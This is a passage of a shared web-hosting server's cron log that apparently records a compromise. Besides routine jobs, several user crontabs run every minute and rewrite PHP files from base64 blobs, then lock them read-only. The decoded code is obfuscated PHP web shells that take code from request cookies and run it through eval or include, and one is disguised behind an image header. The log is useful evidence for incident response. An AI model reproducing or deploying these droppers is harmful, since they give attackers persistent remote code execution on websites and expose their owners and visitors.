QnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:06:02 medusa CROND[1000]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:06:02 medusa CROND[1001]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:06:02 medusa CROND[1002]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:07:01 medusa CROND[19522]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:07:01 medusa CROND[19792]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:07:01 medusa CROND[19793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:07:01 medusa CROND[19794]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:07:01 medusa CROND[19821]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:07:01 medusa CROND[19823]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:07:01 medusa CROND[19824]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:07:01 medusa CROND[19826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:07:01 medusa CROND[19827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:07:01 medusa CROND[19828]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:07:01 medusa CROND[19832]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:07:01 medusa CROND[19825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:08:01 medusa CROND[1997]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:08:01 medusa CROND[2054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:08:01 medusa CROND[2304]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 22:08:01 medusa CROND[2306]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:08:01 medusa CROND[2310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:08:01 medusa CROND[2312]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:08:01 medusa CROND[2316]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:08:01 medusa CROND[2321]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:08:01 medusa CROND[2322]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:08:01 medusa CROND[2323]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:08:01 medusa CROND[2324]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:08:01 medusa CROND[2327]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:08:01 medusa CROND[2329]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:08:01 medusa CROND[2330]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:09:01 medusa CROND[18937]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:09:01 medusa CROND[19163]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:09:01 medusa CROND[19162]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:09:01 medusa CROND[19166]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:09:01 medusa CROND[19164]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
